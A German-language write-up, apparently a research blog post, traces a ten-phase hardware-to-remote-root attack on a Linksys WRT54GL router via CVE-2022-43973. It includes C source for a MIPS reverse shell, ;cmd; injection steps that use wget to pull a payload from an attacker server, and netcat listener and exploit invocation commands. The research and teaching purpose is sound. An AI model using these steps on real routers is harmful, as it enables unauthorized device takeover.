Vom Lötkolben zur Shell: Vollständige Hardware-Ausnutzung des Linksys WRT54GL Routers (CVE-2022-43973)

Eine 10-Phasen-Reise in die eingebettete Sicherheitsforschung – von der JTAG-Pin-Erkennung bis zur Remote-Code-Ausführung auf einem MIPS-basierten Consumer-Router.

Haftungsausschluss: Diese Forschung wurde nur für Bildungs- und Forschungszwecke an Hardware durchgeführt, die mir persönlich gehört. Es wurden keine unbefugten Systeme angegriffen. Alle hier beschriebenen Techniken sollten nur an Geräten reproduziert werden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch der dargestellten Informationen. Halten Sie sich stets an geltende Gesetze, Vorschriften und Praktiken der verantwortungsvollen Offenlegung.

Inhaltsverzeichnis

• Zusammenfassung
• Zielgerät Übersicht
• Phase 1–2: Hardware-Erkundung und Pin-Identifikation
• Phase 3–4: JTAG-Debugging und Firmware-Extraktion
• Phase 5–6: Firmware-Analyse und Emulation
• Phase 7: Schwachstellenforschung – CVE-2022-43973
• Phase 8: Payload-Entwicklung – MIPS Reverse Shell
• Phase 9: Exploit-Zustellung und Root-Shell
• Phase 10: Netzwerk- und Sitzungsanalyse
• Werkzeuge und Technologien
• Wichtige Erkenntnisse
• Referenzen
• Detaillierte Dokumentation
• Lizenz

Zusammenfassung

• Ziel: Linksys WRT54GL v1.1 – ein weit verbreiteter Consumer-Router basierend auf dem Broadcom BCM5352-Chipsatz (MIPS 32-Bit-Architektur)
• Schwachstelle: CVE-2022-43973 – Remote Code Execution durch Befehlseinschleusung in der HTTP-Verwaltungsoberfläche
• Umfang: Vollständige Hardware-zu-Software-Ausnutzungskette über 10 Phasen, von physischem JTAG-Zugriff bis zur entfernten Root-Shell
• Ergebnis: Vollständige entfernte Root-Shell durch eine benutzerdefinierte MIPS Reverse Shell
• Werkzeuge: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, Docker mit Broadcom MIPS Cross-Kompilierungswerkzeugkette

Zielgerät Übersicht

Der Linksys WRT54GL ist einer der ikonischsten Consumer-Router, die je produziert wurden. Seine Open-Source-Firmware-Unterstützung machte ihn zu einem Favoriten unter Enthusiasten und Forschern. Trotz seines Alters ist er weltweit noch im aktiven Einsatz, was ihn zu einem relevanten Ziel für die Sicherheitsforschung eingebetteter Systeme macht.

Phase 1–2: Hardware-Erkundung und Pin-Identifikation

Der erste Schritt bei jeder Hardware-Sicherheitsbewertung ist die physische Inspektion. Nach dem Öffnen des Gerätegehäuses identifizierte ich zwei Debug-Schnittstellen auf der Platine:

• Ein 12-poliger JTAG-Header (nicht bestückt) für Hardware-Level-Debugging
• Ein 10-poliger serieller (UART)-Anschluss, der mit 3,3V TTL-Pegeln arbeitet

Da der JTAG-Header nicht bestückt war, habe ich einen temporären Stiftstecker eingelötet, um auf die Debug-Schnittstelle zuzugreifen. Mit einem Multimeter identifizierte ich Masse- und Vcc-Leitungen und bestätigte, dass das Ziel mit 3,3V Logikpegeln arbeitet – entscheidend, um eine Beschädigung des Chipsatzes zu vermeiden.

JTAG-Pin-Identifikation mit JTAGulator

Um die JTAG-Signale abzubilden, verwendete ich einen JTAGulator von Grand Idea Studio – ein Hardware-Tool, das Debug-Schnittstellen automatisch durch Testen aller möglichen Pin-Kombinationen identifiziert.

Der JTAGulator identifizierte erfolgreich die folgende JTAG-Pinbelegung:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

Phase 3–4: JTAG-Debugging und Firmware-Extraktion

Nachdem die JTAG-Pins identifiziert waren, verband ich ein Attify Badge – ein Open-Source-Hardware-Sicherheitsbewertungswerkzeug (GNU GPL v3.0) mit einem FTDI FT2232H-Chip – mit dem JTAG-Header des Routers.

Ich startete OpenOCD (Open On-Chip Debugger) mit einer benutzerdefinierten Konfiguration, die auf das BCM5352-Ziel zugeschnitten war, da die offiziellen Konfigurationen mit dieser spezifischen Hardware-Revision inkompatibel waren.

Flash-Speicher-Layout

Die benutzerdefinierte OpenOCD-Konfiguration definiert das Partitionslayout des Router-Flashs:

Firmware-Dump

Nachdem ich die CPU angehalten hatte, führte ich einen vollständigen 4 MB Dump des speicherabbildbaren NOR-Flashs durch:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Phase 5–6: Firmware-Analyse und Emulation

Statische Analyse mit binwalk

Mit binwalk analysierte ich den Firmware-Dump, um eingebettete Dateisysteme, komprimierte Segmente und das Kernel-Image zu identifizieren:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # Entropieanalyse
sha256sum ./dumps/wrt54gl.bin     # Integritätsprüfung

Die Analyse ergab ein SquashFS-Root-Dateisystem mit einer standardmäßigen BusyBox-basierten Linux-Umgebung. Ich extrahierte es mit binwalk -e und unsquashfs zur genaueren Untersuchung.

Firmware-Emulation mit FirmAE

Um eine sichere Testumgebung zu schaffen, richtete ich eine Firmware-Emulation mit FirmAE ein – einem automatisierten Firmware-Emulationsframework, das MIPS-Architekturen unterstützt. Dies ermöglichte mir, die Dienste des Routers (HTTP, telnet) in einer virtuellen Umgebung nachzubilden und Exploits ohne Risiko für das physische Gerät zu testen.

Phase 7: Schwachstellenforschung – CVE-2022-43973

Mit Ghidra (NSAs Reverse-Engineering-Framework) und dem MIPS-Dekompilierungs-Plugin führte ich eine statische Analyse der extrahierten Firmware-Binärdateien durch, um das Vorhandensein von CVE-2022-43973 zu bestätigen.

Schwachstellendetails

Die Sicherheitslücke besteht im CGI-Anforderungsbehandler des Routers. Das Formularfeld ui_language im Endpunkt /apply.cgi akzeptiert beliebige Eingaben ohne Bereinigung. Durch das Einfügen von Shell-Befehlen, die in ;cmd;-Syntax eingeschlossen sind, kann ein Angreifer Befehle bereitstellen, die anschließend ausgeführt werden, wenn ein Firmware-Upgrade über /upgrade.cgi ausgelöst wird.

Betroffene Firmware-Versionen:

• v4.30.18 (neueste) – erfordert sitzungsbasierte Authentifizierung
• v4.30.16 (ältere) – verwendet nur HTTP-Basisauthentifizierung

Phase 8: Payload-Entwicklung – MIPS Reverse Shell

Ich entwickelte eine benutzerdefinierte Reverse Shell in C, die speziell für die MIPS-Architektur des Routers ausgelegt ist. Der Payload stellt eine TCP-Verbindung zurück zum Angreifer her, leitet alle Standard-Dateideskriptoren zum Socket um und startet eine interaktive Shell:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

Cross-Kompilierung mit Docker

Um den Payload für die Zielarchitektur zu kompilieren, erstellte ich eine reproduzierbare Docker-Umgebung mit der Broadcom MIPS Cross-Kompilierungswerkzeugkette (hndtools-mipsel-linux-3.2.3), die aus der offiziellen Linksys GPL-Veröffentlichung (WRT54GL-ETSI_v4.30.18.006) bezogen wurde:

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

Das resultierende Binary ist statisch gelinkt für Portabilität – keine Abhängigkeiten von gemeinsamen Bibliotheken auf dem Ziel.

Phase 9: Exploit-Zustellung und Root-Shell

Ich entwickelte ein Python-Exploit-Framework, das die gesamte Angriffskette durch Ausnutzung von CVE-2022-43973 automatisiert. Der Exploit führt eine 4-stufige Sequenz aus, die jeweils als Befehl über den ui_language-Parameter eingefügt wird:

Angriffssequenz

1. Payload hochladen – Einen wget-Befehl einfügen, um das MIPS-Reverse-Shell-Binary vom HTTP-Server des Angreifers nach /tmp/X auf dem Router herunterzuladen
2. Berechtigungen setzen – chmod +x /tmp/X einfügen, um das Binary ausführbar zu machen
3. Payload ausführen – /tmp/X <attacker_ip> <port> einfügen, um die Reverse Shell zu starten
4. Aufräumen – ui_language auf seinen Standardwert (en) zurücksetzen

Jeder Befehl wird als ;cmd; im Feld ui_language verpackt und über POST /apply.cgi gesendet. Ein anschließender POST /upgrade.cgi löst die Ausführung aus.

Ausführung

Auf dem Rechner des Angreifers sind drei Terminals erforderlich:

# Terminal 1: Serve the reverse shell binary
python -m http.server 8000

# Terminal 2: Listen for the incoming reverse shell
nc -lvnp 4141

# Terminal 3: Launch the exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

Ergebnis: Root-Shell

Die Reverse Shell verbindet sich zurück zum Netcat-Listener des Angreifers und stellt eine interaktive Root-Shell auf dem Router bereit.

Phase 10: Netzwerk- und Sitzungsanalyse

Um die vollständige Exploit-Kette zu validieren, zeichnete ich den Netzwerkverkehr während des Angriffs mit Wireshark auf. Die Analyse bestätigte:

• Korrekte HTTP-POST-Injektionssequenz zu /apply.cgi und /upgrade.cgi
• Erfolgreicher Payload-Download über wget vom HTTP-Server des Angreifers
• Aufbau der Reverse-Shell-TCP-Verbindung auf Port 4141
• Integrität des Sitzungs-Cookies und des Authentifizierungsflusses

Werkzeuge und Technologien

Wichtige Erkenntnisse

1. Physischer Zugriff ist ein mächtiger Angriffsvektor. JTAG bietet Root-Level-Hardwarezugriff, der alle Software-Sicherheitsmechanismen umgeht. Organisationen, die eingebettete Geräte einsetzen, sollten physische Sicherheitskontrollen in Betracht ziehen und Debug-Schnittstellen in der Produktionsfirmware deaktivieren.

2. Firmware-Extraktion ist grundlegend. Das Auslesen und Analysieren der Firmware legt den gesamten Software-Stack offen – einschließlich hartcodierter Anmeldeinformationen, Konfigurationsdaten und anfälliger Codepfade, die aus einer reinen Netzwerkperspektive unsichtbar sind.

3. Emulation ermöglicht sichere, wiederholbare Forschung. Werkzeuge wie FirmAE erlauben es Forschern, das Geräteverhalten in einer virtuellen Umgebung nachzubilden, was iteratives Testen ermöglicht, ohne physische Hardware zu riskieren oder unbeabsichtigte Konsequenzen auszulösen.

4. Einfache Eingabevalidierungsfehler haben kritische Auswirkungen. CVE-2022-43973 zeigt, wie ein einzelnes unsauberes Formularfeld in einer Weboberfläche zur vollständigen Gerätekompromittierung mit Root-Zugriff führen kann. Defense in Depth – Eingabevalidierung, Minimalprinzip und sichere Codierungspraktiken – bleibt unerlässlich.

5. Reproduzierbare Werkzeugketten sind wichtig. Docker-basierte Cross-Kompilierungsumgebungen stellen sicher, dass Payloads und Werkzeuge zuverlässig neu erstellt werden können, wodurch Forschungsergebnisse überprüfbar und teilbar werden.

6. Legacy-Geräte stellen ein anhaltendes Risiko dar. Der WRT54GL ist weltweit noch aktiv im Einsatz. Geräte am Ende ihres Lebenszyklus, die keine Sicherheitsupdates mehr erhalten, stellen eine dauerhafte Bedrohung für die Netzwerksicherheit dar.

Referenzen

Schwachstelle

• CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
• CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

Hardware-Werkzeuge

• Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
• JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
• JTAG-Standard — IEEE 1149.1 (Standard Test Access Port and Boundary-Scan Architecture)

Software-Werkzeuge

• OpenOCD — https://openocd.org/
• Ghidra — https://ghidra-sre.org/
• FirmAE — https://github.com/pr0v3rbs/FirmAE
• Firmadyne — https://github.com/firmadyne/firmadyne
• binwalk — https://github.com/ReFirmLabs/binwalk

Hersteller

• Linksys WRT54GL Firmware — https://www.linksys.com/us/support-article?articleNum=148648
• Linksys GPL Toolchain — https://www.linksys.com/us/support-article?articleNum=114663

Detaillierte Dokumentation

Ausführliche technische Details finden Sie in den folgenden Dokumenten:

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Wenn Sie Schaltpläne von Attify oder JTAGulator reproduzieren, beachten Sie deren jeweilige Lizenzen (GNU GPL v3.0 für Attify-Komponenten).

Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec